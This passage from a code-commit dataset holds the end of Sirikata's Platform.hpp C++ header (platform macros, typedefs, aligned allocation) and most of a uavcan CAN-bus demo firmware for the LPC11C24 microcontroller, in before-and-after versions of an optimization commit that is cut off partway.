{\ntemplate<class T>T*aligned_malloc(size_t num_bytes, const unsigned char alignment) {\n unsigned char *data=(unsigned char*)malloc(num_bytes+alignment);\n if (data!=NULL) {\n size_t remainder=((size_t)data)%alignment;\n size_t offset=alignment-remainder;\n data+=offset;\n data[-1]=offset;\n return (T*)(data);\n }\n return (T*)NULL;\n}\ntemplate<class T>T*aligned_new(const unsigned char alignment) {\n return aligned_malloc<T>(sizeof(T),alignment);\n}\ntemplate<class T> void aligned_free(T* data) {\n if (data!=NULL) {\n unsigned char *bloc=(unsigned char*)data;\n unsigned char offset=bloc[-1];\n free(bloc-offset);\n }\n}\nnamespace Task {\nclass LocalTime;\nclass DeltaTime;\n}\nclass Time;\ntypedef Task::DeltaTime Duration;\ntypedef Vector2<float32> Vector2f;\ntypedef Vector2<float64> Vector2d;\ntypedef Vector3<float32> Vector3f;\ntypedef Vector3<float64> Vector3d;\ntypedef Vector4<float32> Vector4f;\ntypedef Vector4<float64> Vector4d;\ntypedef VInt<uint32> vuint32;\ntypedef VInt<uint64> vuint64;\nusing std::tr1::placeholders::_1;\nusing std::tr1::placeholders::_2;\nusing std::tr1::placeholders::_3;\nusing std::tr1::placeholders::_4;\nusing std::tr1::placeholders::_5;\nusing std::tr1::placeholders::_6;\nusing std::tr1::placeholders::_7;\nusing std::tr1::placeholders::_8;\nusing std::tr1::placeholders::_9;\n}\n#include \"BoundingSphere.hpp\"\n#include \"BoundingBox.hpp\"\nnamespace Sirikata {\ntypedef BoundingBox<float32> BoundingBox3f3f;\ntypedef BoundingBox<float64> BoundingBox3d3f;\ntypedef BoundingSphere<float32> BoundingSphere3f;\ntypedef BoundingSphere<float64> BoundingSphere3d;\n}\n#if 0\ntemplate class std::tr1::unordered_map<Sirikata::int32, Sirikata::int32>;\ntemplate class std::tr1::unordered_map<Sirikata::uint32, Sirikata::uint32>;\ntemplate class std::tr1::unordered_map<Sirikata::uint64, Sirikata::uint64>;\ntemplate class std::tr1::unordered_map<Sirikata::int64, Sirikata::int64>;\ntemplate class std::tr1::unordered_map<Sirikata::String, Sirikata::String>;\n\ntemplate class std::tr1::unordered_map<Sirikata::int32, void*>;\ntemplate class std::tr1::unordered_map<Sirikata::uint32, void*>;\ntemplate class std::tr1::unordered_map<Sirikata::uint64, void*>;\ntemplate class std::tr1::unordered_map<Sirikata::int64, void*>;\ntemplate class std::tr1::unordered_map<Sirikata::String, void*>;\ntemplate class std::map<Sirikata::int32, Sirikata::int32>;\ntemplate class std::map<Sirikata::uint32, Sirikata::uint32>;\ntemplate class std::map<Sirikata::uint64, Sirikata::uint64>;\ntemplate class std::map<Sirikata::int64, Sirikata::int64>;\ntemplate class std::map<Sirikata::String, Sirikata::String>;\ntemplate class std::map<Sirikata::int32, void*>;\ntemplate class std::map<Sirikata::uint32, void*>;\ntemplate class std::map<Sirikata::uint64, void*>;\ntemplate class std::map<Sirikata::int64, void*>;\ntemplate class std::map<Sirikata::String, void*>;\ntemplate class std::vector<Sirikata::String>;\ntemplate class std::vector<void*>;\ntemplate class std::vector<Sirikata::int8>;\ntemplate class std::vector<Sirikata::uint8>;\n#endif\n\n#endif \/\/_SIRIKATA_PLATFORM_HPP_\n<commit_msg>Fixing buildbot by removing SolidAngle from .pch<commit_after>\/* Sirikata -- Platform Dependent Definitions\n * Platform.hpp\n *\n * Copyright (c) 2009, Ewen Cheslack-Postava and Daniel Reiter Horn\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Sirikata nor the names of its contributors may\n * be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n * IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER\n * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef _SIRIKATA_PLATFORM_HPP_\n#define _SIRIKATA_PLATFORM_HPP_\n\n\n#define PLATFORM_WINDOWS 0\n#define PLATFORM_LINUX 1\n#define PLATFORM_MAC 2\n\n\n#if defined(__WIN32__) || defined(_WIN32)\n\/\/ disable type needs to have dll-interface to be used byu clients due to STL member variables which are not public\n#pragma warning (disable: 4251)\n\/\/disable warning about no suitable definition provided for explicit template instantiation request which seems to have no resolution nor cause any problems\n#pragma warning (disable: 4661)\n\/\/disable non dll-interface class used as base for dll-interface class when deriving from singleton\n#pragma warning (disable : 4275)\n# define SIRIKATA_PLATFORM PLATFORM_WINDOWS\n#elif defined(__APPLE_CC__) || defined(__APPLE__)\n# define SIRIKATA_PLATFORM PLATFORM_MAC\n# ifndef __MACOSX__\n# define __MACOSX__\n# endif\n#else\n# define SIRIKATA_PLATFORM PLATFORM_LINUX\n#endif\n\n#ifdef NDEBUG\n#define SIRIKATA_DEBUG 0\n#else\n#define SIRIKATA_DEBUG 1\n#endif\n\n#ifndef SIRIKATA_EXPORT\n# if SIRIKATA_PLATFORM == PLATFORM_WINDOWS\n# if defined(STATIC_LINKED)\n# define SIRIKATA_EXPORT\n# else\n# if defined(SIRIKATA_BUILD)\n# define SIRIKATA_EXPORT __declspec(dllexport)\n# else\n# define SIRIKATA_EXPORT __declspec(dllimport)\n# endif\n# endif\n# define SIRIKATA_PLUGIN_EXPORT __declspec(dllexport)\n# else\n# if defined(__GNUC__) && __GNUC__ >= 4\n# define SIRIKATA_EXPORT __attribute__ ((visibility(\"default\")))\n# define SIRIKATA_PLUGIN_EXPORT __attribute__ ((visibility(\"default\")))\n# else\n# define SIRIKATA_EXPORT\n# define SIRIKATA_PLUGIN_EXPORT\n# endif\n# endif\n#endif\n\n\n#ifndef SIRIKATA_FUNCTION_EXPORT\n# if SIRIKATA_PLATFORM == PLATFORM_WINDOWS\n# if defined(STATIC_LINKED)\n# define SIRIKATA_FUNCTION_EXPORT\n# else\n# if defined(SIRIKATA_BUILD)\n# define SIRIKATA_FUNCTION_EXPORT __declspec(dllexport)\n# else\n# define SIRIKATA_FUNCTION_EXPORT __declspec(dllimport)\n# endif\n# endif\n# else\n# define SIRIKATA_FUNCTION_EXPORT\n# endif\n#endif\n\n\n\n#ifndef SIRIKATA_EXPORT_C\n# define SIRIKATA_EXPORT_C extern \"C\" SIRIKATA_EXPORT\n#endif\n\n#ifndef SIRIKATA_PLUGIN_EXPORT_C\n# define SIRIKATA_PLUGIN_EXPORT_C extern \"C\" SIRIKATA_PLUGIN_EXPORT\n#endif\n\n\n#ifdef __GLIBC__\n# include <endian.h>\n# define SIRIKATA_LITTLE_ENDIAN __LITTLE_ENDIAN\n# define SIRIKATA_BIG_ENDIAN __BIG_ENDIAN\n# define SIRIKATA_BYTE_ORDER __BYTE_ORDER\n#elif defined(__APPLE__) || defined(MACOSX) || defined(BSD) || defined(__FreeBSD__)\n# include<machine\/endian.h>\n# ifdef BYTE_ORDER\n# define SIRIKATA_LITTLE_ENDIAN LITTLE_ENDIAN\n# define SIRIKATA_BIG_ENDIAN BIG_ENDIAN\n# define SIRIKATA_BYTE_ORDER BYTE_ORDER\n# else\n# error \"MACINTOSH DOES NOT DEFINE ENDIANNESS\"\n# endif\n#else\n# define SIRIKATA_LITTLE_ENDIAN 1234\n# define SIRIKATA_BIG_ENDIAN 4321\n# ifdef _BIG_ENDIAN\n# define SIRIKATA_BYTE_ORDER SIRIKATA_BIG_ENDIAN\n# ifdef _LITTLE_ENDIAN\n# error \"BOTH little and big endian defined\"\n# endif\n# else\n# ifdef _LITTLE_ENDIAN\n# define SIRIKATA_BYTE_ORDER SIRIKATA_LITTLE_ENDIAN\n# elif defined(__sparc) || defined(__sparc__) \\\n || defined(_POWER) || defined(__powerpc__) \\\n || defined(__ppc__) || defined(__hpux) \\\n || defined(_MIPSEB) || defined(_POWER) \\\n || defined(__s390__)\n# define SIRIKATA_BYTE_ORDER SIRIKATA_BIG_ENDIAN\n# elif defined(__i386__) || defined(__alpha__) \\\n || defined(__ia64) || defined(__ia64__) \\\n || defined(_M_IX86) || defined(_M_IA64) \\\n || defined(_M_ALPHA) || defined(__amd64) \\\n || defined(__amd64__) || defined(_M_AMD64) \\\n || defined(__x86_64) || defined(__x86_64__) \\\n || defined(_M_X64)\n# define SIRIKATA_BYTE_ORDER SIRIKATA_LITTLE_ENDIAN\n# else\n# error \"Not a known CPU type\"\n# endif\n# endif\n#endif\n\n#if SIRIKATA_PLATFORM == PLATFORM_WINDOWS\n#ifndef NOMINMAX\n#define NOMINMAX\n#endif\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n\/\/need to get rid of GetMessage for protocol buffer compatibility\n#undef GetMessage\n#endif\n\n#include <assert.h>\n#include <cstddef>\n#include <cstring>\n#include <cmath>\n#include <fstream>\n#include <iostream>\n#include <string>\n#include <sstream>\n#include <vector>\n#include <list>\n#include <queue>\n#include <deque>\n#include <set>\n#include <map>\n#include <algorithm>\n\n#ifdef __GNUC__\n\/\/ Required for OGRE.\n#if (__GNUC__ == 4 && __GNUC_MINOR__ >= 3) || __GNUC__ > 4\n#define BOOST_HAS_GCC_TR1\n\n\/\/ #include_next is broken: it does not search default include paths!\n#define BOOST_TR1_DISABLE_INCLUDE_NEXT\n\/\/ config_all.hpp reads this variable, then sets BOOST_HAS_INCLUDE_NEXT anyway\n#include <boost\/tr1\/detail\/config_all.hpp>\n#ifdef BOOST_HAS_INCLUDE_NEXT\n\/\/ This behavior has existed since boost 1.34, unlikely to change.\n#undef BOOST_HAS_INCLUDE_NEXT\n#endif\n\n#endif\n#endif\n\n#include <boost\/tr1\/memory.hpp>\n#include <boost\/tr1\/array.hpp>\n#include <boost\/tr1\/functional.hpp>\n#include <boost\/tr1\/unordered_set.hpp>\n#include <boost\/tr1\/unordered_map.hpp>\n\nnamespace Sirikata {\n\n\/\/ numeric typedefs to get standardized types\ntypedef unsigned char uchar;\n#if SIRIKATA_PLATFORM == PLATFORM_WINDOWS\n#ifndef NOMINMAX\n#define NOMINMAX\n#endif\ntypedef __int8 int8;\ntypedef unsigned __int8 uint8;\ntypedef __int16 int16;\ntypedef unsigned __int16 uint16;\ntypedef __int32 int32;\ntypedef unsigned __int32 uint32;\ntypedef __int64 int64;\ntypedef unsigned __int64 uint64;\n\n#else\n# include <stdint.h>\ntypedef int8_t int8;\ntypedef uint8_t uint8;\ntypedef int16_t int16;\ntypedef uint16_t uint16;\ntypedef int32_t int32;\ntypedef uint32_t uint32;\ntypedef int64_t int64;\ntypedef uint64_t uint64;\n#endif\n\ntypedef float float32;\ntypedef double float64;\n\ntypedef uchar byte;\ntypedef std::string String;\ntypedef std::vector<uint8> MemoryBuffer;\n\nnamespace Network {\nclass IOService;\nclass Stream;\nclass Address;\ntypedef std::vector<uint8> Chunk;\n}\n#ifdef NDEBUG\nclass ThreadIdCheck{};\n#else\nclass ThreadIdCheck { public:\n unsigned int mThreadId;\n};\n#endif\nclass RoutableMessageHeader;\nclass RoutableMessage;\nclass RoutableMessageBody;\n} \/\/ namespace Sirikata\n#include \"MemoryReference.hpp\"\n#include \"MessageService.hpp\"\n#include \"TotallyOrdered.hpp\"\n#include \"Singleton.hpp\"\n#include \"Factory.hpp\"\n#include \"Vector2.hpp\"\n#include \"Vector3.hpp\"\n#include \"Vector4.hpp\"\n#include \"Matrix3x3.hpp\"\n#include \"Quaternion.hpp\"\n#include \"SelfWeakPtr.hpp\"\n#include \"Noncopyable.hpp\"\n#include \"Array.hpp\"\n#include \"options\/OptionValue.hpp\"\n#include \"Logging.hpp\"\n#include \"Location.hpp\"\n#include \"VInt.hpp\"\nnamespace Sirikata {\ntemplate<class T>T*aligned_malloc(size_t num_bytes, const unsigned char alignment) {\n unsigned char *data=(unsigned char*)malloc(num_bytes+alignment);\n if (data!=NULL) {\n size_t remainder=((size_t)data)%alignment;\n size_t offset=alignment-remainder;\n data+=offset;\n data[-1]=offset;\n return (T*)(data);\n }\n return (T*)NULL;\n}\ntemplate<class T>T*aligned_new(const unsigned char alignment) {\n return aligned_malloc<T>(sizeof(T),alignment);\n}\ntemplate<class T> void aligned_free(T* data) {\n if (data!=NULL) {\n unsigned char *bloc=(unsigned char*)data;\n unsigned char offset=bloc[-1];\n free(bloc-offset);\n }\n}\nnamespace Task {\nclass LocalTime;\nclass DeltaTime;\n}\nclass Time;\ntypedef Task::DeltaTime Duration;\ntypedef Vector2<float32> Vector2f;\ntypedef Vector2<float64> Vector2d;\ntypedef Vector3<float32> Vector3f;\ntypedef Vector3<float64> Vector3d;\ntypedef Vector4<float32> Vector4f;\ntypedef Vector4<float64> Vector4d;\ntypedef VInt<uint32> vuint32;\ntypedef VInt<uint64> vuint64;\nusing std::tr1::placeholders::_1;\nusing std::tr1::placeholders::_2;\nusing std::tr1::placeholders::_3;\nusing std::tr1::placeholders::_4;\nusing std::tr1::placeholders::_5;\nusing std::tr1::placeholders::_6;\nusing std::tr1::placeholders::_7;\nusing std::tr1::placeholders::_8;\nusing std::tr1::placeholders::_9;\n}\n#include \"BoundingSphere.hpp\"\n#include \"BoundingBox.hpp\"\nnamespace Sirikata {\ntypedef BoundingBox<float32> BoundingBox3f3f;\ntypedef BoundingBox<float64> BoundingBox3d3f;\ntypedef BoundingSphere<float32> BoundingSphere3f;\ntypedef BoundingSphere<float64> BoundingSphere3d;\n}\n#if 0\ntemplate class std::tr1::unordered_map<Sirikata::int32, Sirikata::int32>;\ntemplate class std::tr1::unordered_map<Sirikata::uint32, Sirikata::uint32>;\ntemplate class std::tr1::unordered_map<Sirikata::uint64, Sirikata::uint64>;\ntemplate class std::tr1::unordered_map<Sirikata::int64, Sirikata::int64>;\ntemplate class std::tr1::unordered_map<Sirikata::String, Sirikata::String>;\n\ntemplate class std::tr1::unordered_map<Sirikata::int32, void*>;\ntemplate class std::tr1::unordered_map<Sirikata::uint32, void*>;\ntemplate class std::tr1::unordered_map<Sirikata::uint64, void*>;\ntemplate class std::tr1::unordered_map<Sirikata::int64, void*>;\ntemplate class std::tr1::unordered_map<Sirikata::String, void*>;\ntemplate class std::map<Sirikata::int32, Sirikata::int32>;\ntemplate class std::map<Sirikata::uint32, Sirikata::uint32>;\ntemplate class std::map<Sirikata::uint64, Sirikata::uint64>;\ntemplate class std::map<Sirikata::int64, Sirikata::int64>;\ntemplate class std::map<Sirikata::String, Sirikata::String>;\ntemplate class std::map<Sirikata::int32, void*>;\ntemplate class std::map<Sirikata::uint32, void*>;\ntemplate class std::map<Sirikata::uint64, void*>;\ntemplate class std::map<Sirikata::int64, void*>;\ntemplate class std::map<Sirikata::String, void*>;\ntemplate class std::vector<Sirikata::String>;\ntemplate class std::vector<void*>;\ntemplate class std::vector<Sirikata::int8>;\ntemplate class std::vector<Sirikata::uint8>;\n#endif\n\n#endif \/\/_SIRIKATA_PLATFORM_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2014 Pavel Kirienko <pavel.kirienko@gmail.com>\n *\/\n\n#include <cstdio>\n#include <cstdlib>\n#include <algorithm>\n#include <board.hpp>\n#include <chip.h>\n#include <uavcan_lpc11c24\/uavcan_lpc11c24.hpp>\n#include <uavcan\/protocol\/global_time_sync_slave.hpp>\n#include <uavcan\/protocol\/dynamic_node_id_client.hpp>\n#include <uavcan\/protocol\/logger.hpp>\n\n\/**\n * This function re-defines the standard ::rand(), which is used by the class uavcan::DynamicNodeIDClient.\n * Redefinition is normally not needed, but GCC 4.9 tends to generate broken binaries if it is not redefined.\n *\/\nint rand()\n{\n static int x = 1;\n x = x * 48271 % 2147483647;\n return x;\n}\n\nnamespace\n{\n\nstatic constexpr unsigned NodeMemoryPoolSize = 2800;\n\n\/**\n * This is a compact, reentrant and thread-safe replacement to standard llto().\n * It returns the string by value, no extra storage is needed.\n *\/\ntypename uavcan::MakeString<22>::Type intToString(long long n)\n{\n char buf[24] = {};\n const short sign = (n < 0) ? -1 : 1;\n if (sign < 0)\n {\n n = -n;\n }\n unsigned pos = 0;\n do\n {\n buf[pos++] = char(n % 10 + '0');\n }\n while ((n \/= 10) > 0);\n if (sign < 0)\n {\n buf[pos++] = '-';\n }\n buf[pos] = '\\0';\n for (unsigned i = 0, j = pos - 1U; i < j; i++, j--)\n {\n std::swap(buf[i], buf[j]);\n }\n return static_cast<const char*>(buf);\n}\n\nuavcan::Node<NodeMemoryPoolSize>& getNode()\n{\n static uavcan::Node<NodeMemoryPoolSize> node(uavcan_lpc11c24::CanDriver::instance(),\n uavcan_lpc11c24::SystemClock::instance());\n return node;\n}\n\nuavcan::GlobalTimeSyncSlave& getTimeSyncSlave()\n{\n static uavcan::GlobalTimeSyncSlave tss(getNode());\n return tss;\n}\n\nuavcan::Logger& getLogger()\n{\n static uavcan::Logger logger(getNode());\n return logger;\n}\n\nuavcan::NodeID performDynamicNodeIDAllocation()\n{\n uavcan::DynamicNodeIDClient client(getNode());\n\n const int client_start_res = client.start(getNode().getHardwareVersion().unique_id);\n if (client_start_res < 0)\n {\n board::die();\n }\n\n while (!client.isAllocationComplete())\n {\n board::resetWatchdog();\n (void)getNode().spin(uavcan::MonotonicDuration::fromMSec(100));\n }\n\n return client.getAllocatedNodeID();\n}\n\n#if __GNUC__\n__attribute__((noinline, optimize(2))) \/\/ Higher optimization breaks the code.\n#endif\nvoid init()\n{\n board::resetWatchdog();\n board::syslog(\"Boot\\r\\n\");\n\n board::setErrorLed(false);\n board::setStatusLed(true);\n\n \/*\n * Configuring the clock - this must be done before the CAN controller is initialized\n *\/\n uavcan_lpc11c24::clock::init();\n\n \/*\n * Configuring the CAN controller\n *\/\n std::uint32_t bit_rate = 0;\n while (bit_rate == 0)\n {\n board::syslog(\"CAN auto bitrate...\\r\\n\");\n bit_rate = uavcan_lpc11c24::CanDriver::detectBitRate(&board::resetWatchdog);\n }\n board::syslog(\"Bitrate: \");\n board::syslog(intToString(bit_rate).c_str());\n board::syslog(\"\\r\\n\");\n\n if (uavcan_lpc11c24::CanDriver::instance().init(bit_rate) < 0)\n {\n board::die();\n }\n\n board::syslog(\"CAN init ok\\r\\n\");\n\n board::resetWatchdog();\n\n \/*\n * Configuring the node\n *\/\n getNode().setName(\"org.uavcan.lpc11c24_test\");\n\n uavcan::protocol::SoftwareVersion swver;\n swver.major = FW_VERSION_MAJOR;\n swver.minor = FW_VERSION_MINOR;\n swver.vcs_commit = GIT_HASH;\n swver.optional_field_flags = swver.OPTIONAL_FIELD_FLAG_VCS_COMMIT;\n getNode().setSoftwareVersion(swver);\n\n uavcan::protocol::HardwareVersion hwver;\n std::uint8_t uid[board::UniqueIDSize] = {};\n board::readUniqueID(uid);\n std::copy(std::begin(uid), std::end(uid), std::begin(hwver.unique_id));\n getNode().setHardwareVersion(hwver);\n\n board::resetWatchdog();\n\n \/*\n * Starting the node and performing dynamic node ID allocation\n *\/\n if (getNode().start() < 0)\n {\n board::die();\n }\n\n board::syslog(\"Node ID allocation...\\r\\n\");\n\n getNode().setNodeID(performDynamicNodeIDAllocation());\n\n board::syslog(\"Node ID \");\n board::syslog(intToString(getNode().getNodeID().get()).c_str());\n board::syslog(\"\\r\\n\");\n\n board::resetWatchdog();\n\n \/*\n * Example filter configuration.\n * Can be removed safely.\n *\/\n {\n constexpr unsigned NumFilters = 3;\n uavcan::CanFilterConfig filters[NumFilters];\n\n \/\/ Acepting all service transfers addressed to us\n filters[0].id = (unsigned(getNode().getNodeID().get()) << 8) | (1U << 7) | uavcan::CanFrame::FlagEFF;\n filters[0].mask = 0x7F80 | uavcan::CanFrame::FlagEFF;\n\n \/\/ Accepting time sync messages\n filters[1].id = (4U << 8) | uavcan::CanFrame::FlagEFF;\n filters[1].mask = 0xFFFF80 | uavcan::CanFrame::FlagEFF;\n\n \/\/ Accepting zero CAN ID (just for the sake of testing)\n filters[2].id = 0 | uavcan::CanFrame::FlagEFF;\n filters[2].mask = uavcan::CanFrame::MaskExtID | uavcan::CanFrame::FlagEFF;\n\n const auto before = uavcan_lpc11c24::clock::getMonotonic();\n if (uavcan_lpc11c24::CanDriver::instance().configureFilters(filters, NumFilters) < 0)\n {\n board::syslog(\"Filter init failed\\r\\n\");\n board::die();\n }\n const auto duration = uavcan_lpc11c24::clock::getMonotonic() - before;\n board::syslog(\"CAN filter configuration took \");\n board::syslog(intToString(duration.toUSec()).c_str());\n board::syslog(\" usec\\r\\n\");\n }\n\n \/*\n * Initializing other libuavcan-related objects\n *\/\n if (getTimeSyncSlave().start() < 0)\n {\n board::die();\n }\n\n if (getLogger().init() < 0)\n {\n board::die();\n }\n\n getLogger().setLevel(uavcan::protocol::debug::LogLevel::DEBUG);\n\n board::resetWatchdog();\n}\n\n}\n\nint main()\n{\n init();\n\n getNode().setModeOperational();\n\n uavcan::MonotonicTime prev_log_at;\n\n while (true)\n {\n const int res = getNode().spin(uavcan::MonotonicDuration::fromMSec(25));\n board::setErrorLed(res < 0);\n board::setStatusLed(uavcan_lpc11c24::CanDriver::instance().hadActivity());\n\n const auto ts = uavcan_lpc11c24::clock::getMonotonic();\n if ((ts - prev_log_at).toMSec() >= 1000)\n {\n prev_log_at = ts;\n\n \/*\n * CAN bus off state monitoring\n *\/\n if (uavcan_lpc11c24::CanDriver::instance().isInBusOffState())\n {\n board::syslog(\"CAN BUS OFF\\r\\n\");\n }\n\n \/*\n * CAN error counter, for debugging purposes\n *\/\n board::syslog(\"CAN errors: \");\n board::syslog(intToString(static_cast<long long>(uavcan_lpc11c24::CanDriver::instance().getErrorCount())).c_str());\n board::syslog(\" \");\n board::syslog(intToString(uavcan_lpc11c24::CanDriver::instance().getRxQueueOverflowCount()).c_str());\n board::syslog(\"\\r\\n\");\n\n \/*\n * We don't want to use formatting functions provided by libuavcan because they rely on std::snprintf(),\n * so we need to construct the message manually:\n *\/\n uavcan::protocol::debug::LogMessage logmsg;\n logmsg.level.value = uavcan::protocol::debug::LogLevel::INFO;\n logmsg.source = \"app\";\n logmsg.text = intToString(uavcan_lpc11c24::clock::getPrevUtcAdjustment().toUSec()).c_str();\n (void)getLogger().log(logmsg);\n }\n\n board::resetWatchdog();\n }\n}\n<commit_msg>LPC11C24 demo optimization<commit_after>\/*\n * Copyright (C) 2014 Pavel Kirienko <pavel.kirienko@gmail.com>\n *\/\n\n#include <cstdio>\n#include <cstdlib>\n#include <algorithm>\n#include <board.hpp>\n#include <chip.h>\n#include <uavcan_lpc11c24\/uavcan_lpc11c24.hpp>\n#include <uavcan\/protocol\/global_time_sync_slave.hpp>\n#include <uavcan\/protocol\/dynamic_node_id_client.hpp>\n#include <uavcan\/protocol\/logger.hpp>\n\n\/*\n * GCC 4.9 cannot generate a working binary with higher optimization levels, although\n * rest of the firmware can be compiled with -Os.\n * GCC 4.8 and earlier don't work at all on this firmware.\n *\/\n#if __GNUC__\n# pragma GCC optimize 1\n#endif\n\n\/**\n * This function re-defines the standard ::rand(), which is used by the class uavcan::DynamicNodeIDClient.\n * Redefinition is normally not needed, but GCC 4.9 tends to generate broken binaries if it is not redefined.\n *\/\nint rand()\n{\n static int x = 1;\n x = x * 48271 % 2147483647;\n return x;\n}\n\nnamespace\n{\n\nstatic constexpr unsigned NodeMemoryPoolSize = 2800;\n\n\/**\n * This is a compact, reentrant and thread-safe replacement to standard llto().\n * It returns the string by value, no extra storage is needed.\n *\/\ntypename uavcan::MakeString<22>::Type intToString(long long n)\n{\n char buf[24] = {};\n const short sign = (n < 0) ? -1 : 1;\n if (sign < 0)\n {\n n = -n;\n }\n unsigned pos = 0;\n do\n {\n buf[pos++] = char(n % 10 + '0');\n }\n while ((n \/= 10) > 0);\n if (sign < 0)\n {\n buf[pos++] = '-';\n }\n buf[pos] = '\\0';\n for (unsigned i = 0, j = pos - 1U; i < j; i++, j--)\n {\n std::swap(buf[i], buf[j]);\n }\n return static_cast<const char*>(buf);\n}\n\nuavcan::Node<NodeMemoryPoolSize>& getNode()\n{\n static uavcan::Node<NodeMemoryPoolSize> node(uavcan_lpc11c24::CanDriver::instance(),\n uavcan_lpc11c24::SystemClock::instance());\n return node;\n}\n\nuavcan::GlobalTimeSyncSlave& getTimeSyncSlave()\n{\n static uavcan::GlobalTimeSyncSlave tss(getNode());\n return tss;\n}\n\nuavcan::Logger& getLogger()\n{\n static uavcan::Logger logger(getNode());\n return logger;\n}\n\nuavcan::NodeID performDynamicNodeIDAllocation()\n{\n uavcan::DynamicNodeIDClient client(getNode());\n\n const int client_start_res = client.start(getNode().getHardwareVersion().unique_id);\n if (client_start_res < 0)\n {\n board::die();\n }\n\n while (!client.isAllocationComplete())\n {\n board::resetWatchdog();\n (void)getNode().spin(uavcan::MonotonicDuration::fromMSec(100));\n }\n\n return client.getAllocatedNodeID();\n}\n\nvoid init()\n{\n board::resetWatchdog();\n board::syslog(\"Boot\\r\\n\");\n\n board::setErrorLed(false);\n board::setStatusLed(true);\n\n \/*\n * Configuring the clock - this must be done before the CAN controller is initialized\n *\/\n uavcan_lpc11c24::clock::init();\n\n \/*\n * Configuring the CAN controller\n *\/\n std::uint32_t bit_rate = 0;\n while (bit_rate == 0)\n {\n board::syslog(\"CAN auto bitrate...\\r\\n\");\n bit_rate = uavcan_lpc11c24::CanDriver::detectBitRate(&board::resetWatchdog);\n }\n board::syslog(\"Bitrate: \");\n board::syslog(intToString(bit_rate).c_str());\n board::syslog(\"\\r\\n\");\n\n if (uavcan_lpc11c24::CanDriver::instance().init(bit_rate) < 0)\n {\n board::die();\n }\n\n board::syslog(\"CAN init ok\\r\\n\");\n\n board::resetWatchdog();\n\n \/*\n * Configuring the node\n *\/\n getNode().setName(\"org.uavcan.lpc11c24_test\");\n\n uavcan::protocol::SoftwareVersion swver;\n swver.major = FW_VERSION_MAJOR;\n swver.minor = FW_VERSION_MINOR;\n swver.vcs_commit = GIT_HASH;\n swver.optional_field_flags = swver.OPTIONAL_FIELD_FLAG_VCS_COMMIT;\n getNode().setSoftwareVersion(swver);\n\n uavcan::protocol::HardwareVersion hwver;\n std::uint8_t uid[board::UniqueIDSize] = {};\n board::readUniqueID(uid);\n std::copy(std::begin(uid), std::end(uid), std::begin(hwver.unique_id));\n getNode().setHardwareVersion(hwver);\n\n board::resetWatchdog();\n\n \/*\n * Starting the node and performing dynamic node ID allocation\n *\/\n if (getNode().start() < 0)\n {\n board::die();\n }\n\n board::syslog(\"Node ID allocation...\\r\\n\");\n\n getNode().setNodeID(performDynamicNodeIDAllocation());\n\n board::syslog(\"Node ID \");\n board::syslog(intToString(getNode().getNodeID().get()).c_str());\n board::syslog(\"\\r\\n\");\n\n board::resetWatchdog();\n\n \/*\n * Example filter configuration.\n * Can be removed safely.\n *\/\n {\n constexpr unsigned NumFilters = 3;\n uavcan::CanFilterConfig filters[NumFilters];\n\n \/\/ Acepting all service transfers addressed to us\n filters[0].id = (unsigned(getNode().getNodeID().get()) << 8) | (1U << 7) | uavcan::CanFrame::FlagEFF;\n filters[0].mask = 0x7F80 | uavcan::CanFrame::FlagEFF;\n\n \/\/ Accepting time sync messages\n filters[1].id = (4U << 8) | uavcan::CanFrame::FlagEFF;\n filters[1].mask = 0xFFFF80 | uavcan::CanFrame::FlagEFF;\n\n \/\/ Accepting zero CAN ID (just for the sake of testing)\n filters[2].id = 0 | uavcan::CanFrame::FlagEFF;\n filters[2].mask = uavcan::CanFrame::MaskExtID | uavcan::CanFrame::FlagEFF;\n\n if (uavcan_lpc11c24::CanDriver::instance().configureFilters(filters, NumFilters) < 0)\n {\n board::syslog(\"Filter init failed\\r\\n\");\n board::die();\n }\n }\n\n \/*\n * Initializing other libuavcan-related objects\n *\/\n if (getTimeSyncSlave().start() < 0)\n {\n board::die();\n }\n\n if (getLogger().init() < 0)\n {\n board::die();\n }\n\n getLogger().setLevel(uavcan::protocol::debug::LogLevel::DEBUG);\n\n board::resetWatchdog();\n}\n\n}\n\nint main()\n{\n init();\n\n getNode().setModeOperational();\n\n uavcan::MonotonicTime prev_log_at;\n\n while (true)\n {\n const int res = getNode().spin(uavcan::MonotonicDuration::fromMSec(25));\n board::setErrorLed(res < 0);\n board::setStatusLed(uavcan_lpc11c24::CanDriver::instance().hadActivity());\n\n const auto ts = uavcan_lpc11c24::clock::getMonotonic();\n if ((ts - prev_log_at).toMSec() >= 1000)\n {\n prev_log_at = ts;\n\n \/*\n * CAN bus off state monitoring\n *\/\n if (uavcan_lpc11c24::CanDriver::instance().isInBusOffState())\n {\n board::syslog(\"CAN BUS OFF\\r\\n\");\n }\n\n \/*\n * CAN error counter, for debugging purposes\n *\/\n board::syslog(\"CAN errors: \");\n board::syslog(intToString(static_cast<long long>(uavcan_lpc11c24::CanDriver::instance().getErrorCount())).c_str());\n board::syslog(\" \");\n 